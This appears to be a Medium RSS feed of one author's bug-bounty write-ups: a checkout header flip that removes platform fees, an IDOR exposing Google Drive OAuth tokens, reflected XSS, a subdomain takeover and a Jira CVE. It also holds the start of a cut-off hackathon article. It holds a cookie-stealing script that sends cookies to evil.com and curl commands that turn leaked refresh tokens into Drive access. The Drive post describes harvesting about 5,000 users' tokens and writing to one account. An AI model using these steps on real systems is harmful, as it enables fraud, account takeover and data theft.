<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ashutosh Anand on Medium]]></title>
        <description><![CDATA[Stories by Ashutosh Anand on Medium]]></description>
        <link>https://medium.com/@akashutosh659?source=rss-552ae351382d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*avMKcnkWCYikz4Vcz0vo0w.jpeg</url>
            <title>Stories by Ashutosh Anand on Medium</title>
            <link>https://medium.com/@akashutosh659?source=rss-552ae351382d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 03:02:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akashutosh659/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Business Logic Bug That Let Me Remove Platform Fees During Checkout]]></title>
            <link>https://medium.com/@akashutosh659/a-business-logic-bug-that-let-me-remove-platform-fees-during-checkout-ac96b7eb7959?source=rss-552ae351382d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac96b7eb7959</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Ashutosh Anand]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 18:13:44 GMT</pubDate>
            <atom:updated>2026-03-16T18:15:10.380Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*-q0L_E2nJDhYbrRhxM5LNw.jpeg" /></figure><p>E-commerce platforms often implement small convenience fees to cover operational costs such as logistics processing, payment handling, or platform services. These fees are typically applied automatically during checkout and are expected to be enforced server-side.</p><p>While exploring Nykaa’s checkout workflow, I discovered that the convenience fee mechanism relied on a <strong>client-controlled flag</strong>, which could be manipulated to bypass the fee entirely. By modifying a request header or payload field, it was possible to <strong>remove the cart charge before placing an order</strong>.</p><p>This write-up explains how the issue works, how it can be reproduced, and why relying on client-side logic for pricing controls can lead to business logic vulnerabilities.</p><p>Nykaa’s checkout APIs rely on a parameter called:</p><pre>X-APPLY-CART-CHARGES: true</pre><p>or in some endpoints:</p><pre>&quot;applyCartCharges&quot;: true</pre><p>This flag determines whether the <strong>platform/convenience fee (₹9 — ₹99 depending on order value)</strong> should be applied to the cart.</p><p>However, the server <strong>trusts the value supplied by the client</strong>.</p><p>By intercepting requests during checkout and modifying this parameter from <strong>true → false</strong>, the convenience fee can be removed from the order.</p><p>This creates a <strong>business logic flaw where the client can decide whether platform charges should be applied or not.</strong></p><h3>Initial Discovery</h3><p>The issue surfaced while analyzing the checkout process and observing API traffic using an interception proxy.</p><p>During reward point application, I noticed the following endpoint:</p><pre>POST /gateway-api/cartapi/v1/reward/apply</pre><p>The request included a header:</p><pre>X-APPLY-CART-CHARGES: true</pre><p>This immediately raised a question:</p><blockquote><em>Why should the client control whether platform fees are applied?</em></blockquote><p>Normally, pricing logic must be calculated and enforced <strong>entirely server-side</strong>.</p><p>This led to testing what would happen if the header was modified.</p><h3>Digging Deeper</h3><p>To understand what the header actually controlled, I started replaying the request while observing how the cart responded.</p><p>First, I applied reward points normally.</p><p>The intercepted request looked like this:</p><pre>POST /gateway-api/cartapi/v1/reward/apply<br>X-APPLY-CART-CHARGES: true</pre><p>I forwarded the request without modifying anything.</p><p>The result was exactly what I expected:</p><pre>Total price updated<br>Reward discount applied<br>Convenience fee still present</pre><p>Everything looked normal.</p><p>But now it was time to change something.</p><h3>The First Experiment</h3><p>Before forwarding the request again, I modified the header:</p><pre>X-APPLY-CART-CHARGES: false</pre><p>Then I sent the request to the server. The request succeeded. But the cart total looked different. The <strong>convenience fee had disappeared</strong>.</p><p>At that moment it became clear:</p><blockquote><em>The backend was trusting a client-controlled value to decide whether platform charges should apply.</em></blockquote><h3>Confirming the Behavior</h3><p>To ensure this wasn’t just a temporary cart calculation issue, I repeated the process several times:</p><ol><li>Apply reward points normally</li><li>Remove reward points</li><li>Reapply them with the modified header.</li><li>Every time the header was set to:</li></ol><pre>X-APPLY-CART-CHARGES: false</pre><p>the cart charges vanished.</p><p>The behavior was <strong>consistent and reproducible</strong>.</p><h3>Expanding the Investigation</h3><p>After confirming the issue in the reward endpoint, I continued exploring the checkout flow.</p><p>Soon I found the same parameter in another API call used during address confirmation.</p><pre>POST /fe-api/cartapi/v2/address/add</pre><p>Once again the request contained:</p><pre>X-APPLY-CART-CHARGES: true</pre><p>At this point it became clear that the parameter was <strong>embedded throughout the checkout flow</strong>.</p><p>Which meant the vulnerability likely extended beyond just reward points.</p><h3>Real Order Demonstration</h3><p>To test the issue in a real checkout scenario, I selected a simple product.</p><p><strong>Product:</strong> Minimalist 2% Salicylic Acid + LHA Face Cleanser<br> <strong>Price:</strong> ₹299</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*oqgM8aTZgjSpl3Q8LEd6FQ.png" /></figure><p>After adding it to the cart, the price breakdown appeared as expected:</p><pre>Product Price  → ₹299<br>Cart Charges   → ₹9<br>Total          → ₹308</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*lvCNpAqMLZ1bFZZ7RQS6jA.png" /></figure><p>So the system was clearly applying the convenience fee.</p><p>Now it was time to remove it.</p><h3>Intercepting the Address Confirmation Request</h3><p>During checkout, when clicking <strong>Deliver Here</strong>, the following request is triggered:</p><pre>POST /fe-api/cartapi/v2/address/add</pre><p>The request contains:</p><pre>X-APPLY-CART-CHARGES: true</pre><p>I modified it to:</p><pre>X-APPLY-CART-CHARGES: false</pre><p>After forwarding the request, the cart refreshed immediately.</p><p>The new price became:</p><pre>₹289</pre><p>The <strong>₹9 convenience fee was removed.</strong></p><h3>Completing the Checkout</h3><p>The final test was to see whether the order could actually be placed with the modified price.</p><p>Two payment flows were tested:</p><h3>UPI Payment</h3><p>The QR code generated during checkout reflected the updated price:</p><pre>₹289</pre><h3>Cash on Delivery</h3><p>During order placement, another parameter appeared in the payload:</p><pre>&quot;applyCartCharges&quot;: true</pre><p>After changing it to:</p><pre>&quot;applyCartCharges&quot;: false</pre><p>the order was successfully placed.</p><p>Final payable amount:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*xCSm_gQHaxhU3hVgRMrhVg.png" /></figure><pre>₹289</pre><h3>Final Thoughts</h3><p>Business logic vulnerabilities rarely involve complex exploits.</p><p>Sometimes the entire issue comes down to something as simple as <strong>trusting the wrong input</strong>.</p><p>In this case, a single client-controlled flag was enough to bypass a pricing rule inside the checkout system.</p><p>This research highlights an important principle in application security:</p><blockquote><strong><em>Anything related to money should never be controlled by the client.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac96b7eb7959" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Have You Ever Opened Google Drive and Found Someone Else’s Files?]]></title>
            <link>https://medium.com/@akashutosh659/have-you-ever-opened-google-drive-and-found-someone-elses-files-c50ca3f5fc59?source=rss-552ae351382d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c50ca3f5fc59</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ashutosh Anand]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 21:33:33 GMT</pubDate>
            <atom:updated>2026-01-06T22:02:39.649Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KOPnRRkONGROrTEG.png" /></figure><h4><strong>Imagine this nightmare: You log into Google Drive expecting your usual folders. Instead:</strong></h4><ul><li>Voice recordings you’ve never heard</li><li>Story drafts from complete strangers</li><li>Business documents with unfamiliar company logos</li><li>Mp3 files you never uploaded.</li></ul><p>Pure panic. Someone has full read/write access to your Drive. They can see everything. Upload anything. Delete your entire account.</p><p>Is this even possible?</p><p>Yes. And it happened because of one missing authorization check in a company’s shiny new AI feature.</p><h3>The Self-Help Audiobook That Sparked a Bug Hunt</h3><p>Yes. And it happened in one of India’s top audio entertainment companies (I believe with their great ads you can easily guess or go use social engineering you will get the name) — because of one missing authorization check in their shiny new AI feature</p><p>Deep into self-help audiobooks (yes, even I try to improve). Stumbled across this company, recently it launched a new “CoPilot” feature for writers — AI-powered story creation with Google Drive integration.</p><p>Something felt suspicious. A quick LinkedIn stalk revealed: mostly built by interns.</p><p><strong>Red flag. New features + interns = security playground.</strong></p><h3>From Request Capture to Heart-Stopping Discovery</h3><p>Fired up Caido (yeah I stopped using Burp Suite). Created test account. Dummy project.<br>Intercept everything on projects page refresh.</p><p>There it was:</p><pre>GET /project/{projectId}/get-project-members</pre><p>Old habit: Try autorize and watch some random videos.<br>New mission: Master manual IDOR hunting — understanding broken access control properly.</p><p>Test 1: Copy my projectId (say 1234) → 200 OK (expected).<br>Test 2: Change to 1235 → 200 OK<br>&quot;Wait, what?&quot;</p><p>1236 → 200 OK<br>1240 → 200 OK<br>5000 → 200 OK</p><p>Every 4-digit number worked. No rate limits. No auth checks.</p><h3>The Response That Changed Everything</h3><pre>{<br>  &quot;members&quot;: [{<br>    &quot;user&quot;: {<br>      &quot;id&quot;: 971,<br>      &quot;email&quot;: &quot;employee@company.com&quot;,<br>      &quot;google_drive_token&quot;: {<br>        &quot;refresh_token&quot;: &quot;1//0gnmrJPP2No13K...&quot;,<br>        &quot;client_secret&quot;: &quot;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&quot;,<br>        &quot;scope&quot;: &quot;https://www.googleapis.com/auth/drive&quot;<br>      },<br>      &quot;firebase_registration_token&quot;: &quot;fcm_token...&quot;<br>    }<br>  }]<br>}</pre><p>Not just project members.<br>Full Google Drive OAuth credentials. Persistent refresh tokens. Client secrets. Firebase tokens.</p><p><strong>P1 Critical. “$1K bounty minimum,” I thought and I was in complete panic.</strong></p><h3>When Curiosity Turns Into Proof-of-Concept</h3><p>I don’t know why but this time I couldn’t resist. Harvested tokens from ~5,000 exposed projects. Picked one random refresh token:</p><pre>curl -X POST https://oauth2.googleapis.com/token \<br>  -d &quot;client_id=...&amp;refresh_token=1//0gnmrJPP2No13...&amp;grant_type=refresh_token&quot;</pre><p>Fresh access token returned. Valid.</p><pre>curl -H &quot;Authorization: Bearer [token]&quot; https://www.googleapis.com/drive/v3/files</pre><p>Files listed: Eleven Labs exports, story drafts, private folders.<br>Test upload: doom.txt → Success. Full R/W access.</p><p>“$5K bounty … at least ₹60K in Indian market,” my brain calculated and I was just on cloud nine. “Even Indian market standards will pay this much” I kept on thinking.</p><h3>The 1 AM Disclosure Fire Drill</h3><p>No sleep. Found InfoSec head on LinkedIn.<br>2:17 AM: Sent Notion doc — video walkthroughs, curl commands, impact proof, fixes. It was shocking to get such quick response, massive respect for security engineers.</p><p>They assembled team. Dived deep. Shocked. Started triage.</p><p>Day 3: Patched and NDA, I was in peace.</p><p>Then… the sabotage. I collected all of my courage for asking, deep down I was bit scared that they know I have creds for so many users, but I told the severity was very high even though there is no bounty program there should be some token of thanks. So I asked for <em>anything</em> — swag, Hall of Fame, mention.</p><p>What was the response ….. They literally ghosted. Like those picky girls who don’t even know you.</p><p>Left holding 5,000 users’ Google Drive credentials.<br><em>(Kidding about blackhat — ethics &gt; money.)</em></p><h3>The Real Nightmare They Almost Had</h3><p>This wasn’t “data exposure.” This was Google Workspace takeover material:</p><ol><li>Harvest 5K refresh tokens → Persistent Drive access (tokens never expire unless revoked)</li><li>Drive → Gmail → Docs → Calendar → Full employee compromise</li><li>Source code exfiltration, story IP theft, customer data</li><li>One Burp Intruder script automates everything</li></ol><p>Business impact: Data breach fines + IP theft + regulatory nightmares + brand destruction.</p><h3>The Embarrassingly Simple Fix</h3><pre>// 1. AUTHORIZATION CHECK<br>if (!requester.ownsProject(projectId) &amp;&amp; !requester.inTeam(projectId)) {<br>  return 403; // Forbidden<br>}<br>// 2. STRIP SENSITIVE FIELDS<br>response.members = members.map(({id, name, role}) =&gt; ({id, name, role}));<br><br>// 3. USE UUIDs INSTEAD OF SEQUENTIAL IDs<br>/project/uuid-v4-here/get-project-members</pre><p>Three lines of code. Minutes to implement.</p><h3>Why This Still Burns</h3><p>Found another P1 there too (separate article coming).</p><p>Hard truth:</p><ul><li>Curiosity = 5,000 Google Drives accessed</li><li>No bounty program = Zero recognition</li><li>Intern-built features shipped to production = Disaster waiting</li></ul><p>Ok but you would be for sure thinking nah he was joking all this time, so I think little bit of response can be shown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iIkfdH2U_BRmFKwP13s5pA.png" /><figcaption>Actual vulnerable end point</figcaption></figure><p>and this was the access token that i got….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*k5A8OUrT-XFJhEqj5f8bzw.png" /></figure><p>Next time you see “someone else’s files” in your Drive…<br>There would be one missing if statement that would have made an entire company&#39;s infrastructure accessible.</p><p>Sometimes whitehat just means at least a “thanks” or a t-shirt.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c50ca3f5fc59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Late-Night Scroll Turned Into an Unexpected XSS Discovery]]></title>
            <link>https://medium.com/@akashutosh659/how-a-late-night-scroll-turned-into-an-unexpected-xss-discovery-bcfcf4014958?source=rss-552ae351382d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcfcf4014958</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ashutosh Anand]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 20:41:09 GMT</pubDate>
            <atom:updated>2026-01-06T20:41:09.810Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*inGlRliVeqyFU11E.png" /></figure><p>Security stories don’t always start with red-team exercises or bounty targets.<br>Sometimes, they start with boredom.<br>Or more specifically — a late-night doomscrolling session.</p><h3>The Accidental Beginning</h3><p>Last year, after one too many nights of scrolling through random feeds, I decided to try something new — downloaded Bumble, just for fun. No serious intent. Just curiosity.</p><p>While signing up, my mischievous side whispered, <em>“What if you try adding a few </em><em>&lt; or </em><em>&#39; characters into a field?”</em><br>It’s a reflex every security researcher understands.</p><p>To my surprise, everything was well-protected — the input validation was solid, the filters were working, and the site handled every payload with grace. Impressive.</p><p>But the failed attempt reignited that familiar spark. I started thinking, <em>“What if I test a few more random sites?”</em></p><h3>A Random Test Becomes a Real Vulnerability</h3><p>A few days later, I was browsing a well-known e-commerce platform, looking for headphones. While meandering through their site, I decided to check how their search box handled user input.</p><p>I entered something harmless at first. Then moved on to this</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><p>And suddenly, the browser popped up a tiny alert box — “1”.</p><p>That’s all it took to confirm it — the site was vulnerable to Cross-Site Scripting (XSS).<br>No sophisticated tools.<br>No authentication bypass.<br>Just a single line inside the search parameter.</p><h3>The Invisible Risk Behind Simple Inputs</h3><p>To most people, something like this seems harmless — just a popup on screen.<br>But beneath that small window lies a serious threat.</p><p>An attacker could use the same flaw to:</p><ul><li>Execute malicious JavaScript on users’ browsers.</li><li>Steal session cookies and impersonate legitimate users.</li><li>Inject fake login prompts or payment pages.</li><li>Redirect victims to phishing or malware-hosting websites.</li></ul><p>All through something as ordinary as a search query.</p><p>What makes it dangerous is not the complexity — but the trust.<br>Users trust what appears safe and familiar.<br>That’s exactly what XSS abuses.</p><h3>Proof Without Harm</h3><p>I documented the issue responsibly, recorded the payload, and took a screenshot for proof.<br>The exploit was entirely client-side; no databases touched, no credentials stolen.<br>Just a demonstration of what could go wrong if an attacker got there first.</p><p>It was a textbook reflection-based XSS — echoed unsanitized input rendered in the page’s HTML output.</p><h3>The Bigger Lesson</h3><p>Every XSS begins with something small — an unsanitized input, a missing encoder, an unchecked user field.<br>But it can quickly escalate into full-blown account theft or brand damage.</p><p>As developers, the fix is straightforward:</p><ul><li>Sanitize all user inputs before processing.</li><li>Encode outputs to safely render on the web page.</li><li>Use frameworks with built-in XSS protection.</li></ul><p>Because sometimes, what looks like just another search box could quietly become a door for attackers.</p><h3>Why you should know about this?</h3><p>This wasn’t part of a bug bounty or engagement.<br>No contract, no reward.<br>Just curiosity — the kind that keeps security researchers awake after midnight.</p><p>Sometimes, the most interesting vulnerabilities aren’t hidden behind firewalls or encrypted traffic.<br>They’re right there, waiting in the open — in a simple search bar.</p><p>And all it takes to find them is a little curiosity… and maybe, a break from doomscrolling.</p><h3>If You’ve Read This Far…</h3><p>If you’ve made it down to this point, you should probably see how it actually worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-pbM9wWJYC63AwVOU8rew.png" /><figcaption>:) now you know which platform it was</figcaption></figure><p>What if it stole cookies instead?<br>Replace the alert with:</p><pre>&lt;script&gt;document.location=&#39;http://evil.com/steal?cookie=&#39;+document.cookie&lt;/script&gt;</pre><p>Result? The victim’s session cookies — login tokens, session IDs, everything — get silently sent to the attacker’s server. The attacker could then impersonate that user, access their account, view orders, change settings, or even make purchases.​</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcfcf4014958" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Single Forgotten DNS Record Can Turn a Trusted Domain into a Gambling Site]]></title>
            <link>https://medium.com/@akashutosh659/how-a-single-forgotten-dns-record-can-turn-a-trusted-domain-into-a-gambling-site-8ca2d094175b?source=rss-552ae351382d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ca2d094175b</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Ashutosh Anand]]></dc:creator>
            <pubDate>Fri, 26 Dec 2025 20:26:14 GMT</pubDate>
            <atom:updated>2025-12-26T20:26:14.809Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*YUoKMFNGzq43ruoV.jpg" /></figure><p>Security incidents don’t always begin with zero-days, nation-state actors, or advanced malware.</p><p>Sometimes, they begin with <strong>one forgotten DNS record</strong>.</p><p>This is the story of how shop.&lt;redacted&gt;.org—a legitimate subdomain of a real company—which could have been silently transformed into a fully functioning <strong>unauthorized gambling website</strong>, without breaching a single server or hacking a single account.</p><h3>The Illusion of Safety</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*H6sjGty74cGBuMBK.gif" /></figure><p>To the average user, a trusted domain means safety.</p><p>A familiar brand.<br>A real company.<br>A legitimate website.</p><p>That trust is exactly what makes subdomain takeovers so devastating.</p><p>While scanning public DNS records, I noticed something subtle — but dangerous:</p><pre>shop.&lt;redacted&gt;.org → CNAME → shops.myshopify.com</pre><p>At first glance, nothing looks wrong. Shopify is a legitimate platform. Everything resolves correctly.</p><p>And that’s the problem.</p><h3>The Takeover: No Hacking Required</h3><p>The Shopify endpoint behind shops.myshopify.com was <strong>unclaimed</strong>.</p><p>That meant <strong>anyone</strong> could register it.</p><p>No credentials stolen.<br>No firewall bypassed.<br>No intrusion detection triggered.</p><p>An attacker simply claimed the dangling Shopify resource and instantly gained control over:</p><blockquote><strong><em>shop.&lt;redacted&gt;.org</em></strong></blockquote><p>Seconds later, the subdomain began serving a <strong>gambling website</strong>, hosted under a real, trusted domain.</p><h3>Why This Is a Nightmare Scenario</h3><p>This isn’t just “broken DNS.” This is a <strong>security catastrophe waiting to happen</strong>.</p><p>An attacker controlling a legitimate subdomain can:</p><ul><li>Run <strong>phishing campaigns</strong> that bypass email filters</li><li>Host <strong>malware</strong> under a trusted brand</li><li>Create <strong>fake stores</strong> and steal user data</li><li>Destroy <strong>brand credibility overnight</strong></li><li>Abuse cookies, sessions, and user trust</li></ul><p>From a browser’s perspective, everything looks legitimate.</p><p>From a victim’s perspective, there’s no reason to suspect anything.</p><h3>The Scariest Part?</h3><p>This vulnerability required:</p><ul><li>No unauthorized access</li><li>No exploitation</li><li>No interaction with internal systems</li></ul><p>Only <strong>public DNS records</strong>.</p><p>This means attackers can — and do — automate discovery of these issues at scale.</p><p>If you have forgotten subdomains, <strong>you are already exposed</strong>.</p><h3>Proof Without Harm</h3><p>Using standard DNS queries:</p><ul><li>The subdomain resolved cleanly</li><li>The Shopify service responded normally</li><li>The content was fully controlled by a third party</li></ul><p>All of this was observable without touching private infrastructure.</p><p>This is exactly how real attackers find targets.</p><h3>The Fix Took Minutes</h3><p>Ironically, the fix was trivial:</p><ul><li>Remove the unused CNAME record</li><li>Or properly reclaim the third-party service</li></ul><p>That’s it.</p><p>A multi-thousand-dollar incident prevented by deleting a single line of DNS.</p><h3>The Bigger Lesson</h3><p>Subdomain takeovers are not rare.<br> They are not theoretical.<br> They are not “low risk.”</p><p>They are <strong>silent, scalable, and brutally effective</strong>.</p><p>If your organization uses third-party services — and every organization does — you must assume that:</p><blockquote><em>What you no longer use is already being abused.</em></blockquote><h3>Why Am I Telling You All This?</h3><p>This wasn’t part of a paid assessment.<br>There was no bug bounty.<br>No contract.<br>No expectation.</p><p>I was simply exploring some <strong>great companies in the UK</strong>, digging a little deeper out of curiosity — doing what security researchers naturally do.</p><p>And that’s when I noticed it.</p><p>It took me <strong>no time at all</strong> to report it to the company’s CPTO.<br>No drama. No back-and-forth.</p><p>Within <strong>minutes</strong>, the issue was acknowledged.<br>Within <strong>seconds</strong>, it was patched.</p><p>Just like that — the risk was gone.</p><p>This is exactly how security <em>should</em> work:</p><ul><li>Responsible disclosure</li><li>Fast response</li><li>No egos</li><li>No blame</li></ul><p>I’m sharing this story not to call anyone out — but to make a point:</p><blockquote><em>Even the best companies can have simple, dangerous oversights.<br> And fixing them doesn’t have to be hard.</em></blockquote><p>Sometimes all it takes is curiosity, a bit of delving deep, and the willingness to speak up before someone with bad intentions finds it first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/0*q2sJQOzOzKw_P7Df.gif" /></figure><p>If you have read this much do checkout the below link:<br><a href="https://www.hackerone.com/blog/guide-subdomain-takeovers-20">https://www.hackerone.com/blog/guide-subdomain-takeovers-20</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ca2d094175b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Discovered an Information Disclosure Vulnerability in Jira Instance (CVE-2020–14179)]]></title>
            <link>https://medium.com/@akashutosh659/how-i-discovered-an-information-disclosure-vulnerability-in-jira-instance-cve-2020-14179-644b14386e38?source=rss-552ae351382d------2</link>
            <guid isPermaLink="false">https://medium.com/p/644b14386e38</guid>
            <category><![CDATA[vulnerability-disclosure]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ashutosh Anand]]></dc:creator>
            <pubDate>Fri, 03 Oct 2025 23:42:21 GMT</pubDate>
            <atom:updated>2025-10-03T23:42:21.194Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XCEwTD98wxvu_aBuEDrBhQ.png" /></figure><p>Hi — I’m publishing my first Medium piece, so hello, internet! This isn’t a tale of dramatic exploitation or flashy shell access. It’s a small recon story: how routine tooling, a little curiosity, and careful reporting uncovered an information-disclosure bug in a publicly reachable Jira instance. I can’t reveal the target (I removed the subdomain), but I will walk you through what happened, how I found it, and what I did next.</p><h3>Opening scene — the hunt begins</h3><p>I started my usual morning recon ritual: collect as many surface points as I can, then focus on the ones that look juicy.</p><p>My aim wasn’t to break anything — just to see what an unauthenticated visitor could learn about an externally facing app. I often find that the most useful weaknesses are the boring ones: outdated software, forgotten endpoints, and configuration choices that leak information.</p><p>The target in this story turned up while I was processing a long list of URLs I’d gathered with automated tooling. The commands I ran looked familiar:</p><pre>gau domain.com &gt; urls.txt<br>gau domain.com | awk -F/ &#39;{print $3}&#39; | sort -u &gt; subdomains.txt<br>cat subdomains.txt | httprobe -s -p https:443 -t 50 &gt; live.txt</pre><p>I won’t paste the domain here (I redacted it), but one of the responding hosts had an accessible Jira web interface. I filtered and prioritized the usual suspects — jira, admin, dev, staging, api — and started poking around the ones that responded.</p><h3>The moment of curiosity</h3><p>One of the live hosts looked promising. Nothing dramatic: an externally reachable Jira installation with a few public endpoints. I didn’t have credentials, and I wasn’t trying brute force or anything noisy. I was simply checking known Jira paths and behaviors for information that’s sometimes left exposed.</p><p>I tried the /secure/QueryComponent!Default.jspa path and — surprise — it returned readable metadata without requiring authentication. That behavior matched a known issue: <strong>CVE-2020-14179</strong>, an information-disclosure vulnerability in certain Jira Server / Data Center versions where the query component endpoint can expose custom field names and custom SLA names to unauthenticated users.</p><p>Because I can’t disclose the exact host, the path I checked looked like this in my notes:</p><pre>https://[redacted]/secure/QueryComponent!Default.jspa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g0mDs7jhJJC_flTZxuPkEg.png" /></figure><p>I verified the output only to the extent that it confirmed the presence of exposed custom field and SLA names. I did not attempt to enumerate or exfiltrate sensitive issue data.</p><h3>A quick check on the public record</h3><p>To be thorough, I did a little internet digging. I found an older report by <em>nagli</em> on HackerOne that described something very similar. That gave me confidence I wasn’t seeing a one-off fluke — this was a known class of issue and something that deserved a tidy, professional report.</p><p>Armed with that context, I collected everything I could reasonably include without exposing private content: the minimal reproduction, a screenshot showing the metadata (no sensitive ticket data), the CVE reference, and a concise remediation recommendation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwtxjNuUD3DgMZw3bwwaKw.png" /><figcaption>CVE-2020–14179 on Endless Group</figcaption></figure><h3>The report — VDP, not a bounty program</h3><p>The organization didn’t have a public bug-bounty program, but they did have a <strong>Vulnerability Disclosure Policy (VDP)</strong>. I opened a report through the VDP with:</p><ul><li>A concise summary (CVE-2020–14179 — unauthenticated information disclosure via /secure/QueryComponent!Default.jspa)</li><li>Impact statement (custom field and SLA names exposed; reconnaissance value)</li><li>Minimal reproduction steps and the CVE link</li><li>Suggested remediation (upgrade to patched Jira; harden public endpoints)</li></ul><p>Then I sent it off and waited. (Yes — “waited.”)</p><h3>The slow part — triage, patience, and a decent outcome</h3><p>Triage took a while. Longer than I hoped. The silence was the worst part — that weird limbo where you don’t know if your report landed in the right inbox. Eventually the security team replied. They confirmed the issue and forwarded my submission to their global bounty team for further handling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fN7KFCDtxe6ug-wErsPvrA.jpeg" /></figure><p>Did I get a bounty? No — they didn’t award anything for this one. But despite the slow back-and-forth and the lack of monetary reward, it felt good: the issue was acknowledged, it moved into the organization’s triage pipeline, and the domain stays redacted here because I can’t disclose it publicly. That outcome — responsible handling and remediation — is what matters most.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=644b14386e38" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CASCA: Coflow Aware Selective Compression Accelerator]]></title>
            <link>https://medium.com/spidernitt/casca-coflow-aware-selective-compression-accelerator-c32020e4d6fd?source=rss-552ae351382d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c32020e4d6fd</guid>
            <category><![CDATA[dta]]></category>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[internet]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-protocols]]></category>
            <dc:creator><![CDATA[Ashutosh Anand]]></dc:creator>
            <pubDate>Tue, 16 Apr 2024 14:58:19 GMT</pubDate>
            <atom:updated>2024-04-16T15:20:55.537Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7WNvcjawQHrqSfntcDU_w.gif" /></figure><p>In <strong>Smart India Hackathon’23</strong>, a very special problem statement revolved around prominent challenges faced by backbone networks, opening an increasing demand for efficient data transmission and network optimization. As participants, we were supposed to develop a solution that compresses data effectively, minimizes bandwidth usage, and enhances overall network performance, all simultaneously.</p><p>For this problem statement, we built CASCA — a selective compression system for backbone networks. Before paving a final pathway for making CASCA, we looked into a lot of current research papers to find out the best way to tackle the issues.</p><p>With the help of this article, we will share the same thought process of approaching the problem statement, the work past the hackathon, and how we are proceeding in the near future with this project.</p><h3><strong>Understanding the Backbone Networks:</strong></h3><h4><strong>What is a backbone network?</strong></h4><p>Think of backbone networks as the superhighways of the internet, connecting cities of data across the digital landscape. They’re like the vital veins of our online world, making sure information gets where it needs to go, fast. But there’s also a problem lurking in these digital highways: too much traffic. As more and more people use the internet for everything from streaming videos to sending emails, these networks are getting clogged up with data. It’s like rush hour traffic on the internet!</p><p>That’s where the need for data compression comes in. It’s like packing your suitcase efficiently before a trip and squeezing out extra air to fit more stuff. Similarly, with data compression, we can make the files and messages traveling through these networks smaller to take up less space and move faster.</p><figure><img alt="Backbone Network for a LAN" src="https://cdn-images-1.medium.com/max/600/1*UvphOXp9aeucw5CwtVbujw.png" /><figcaption>Backbone Network For a LAN</figcaption></figure><p>This was the way for us to develop a better data compression system. What we are doing is making files smaller and smarter to make networks run smoother and keep the internet flowing :)</p><h3>Delving Deep into the data transmission:</h3><p>To make backbone networks faster 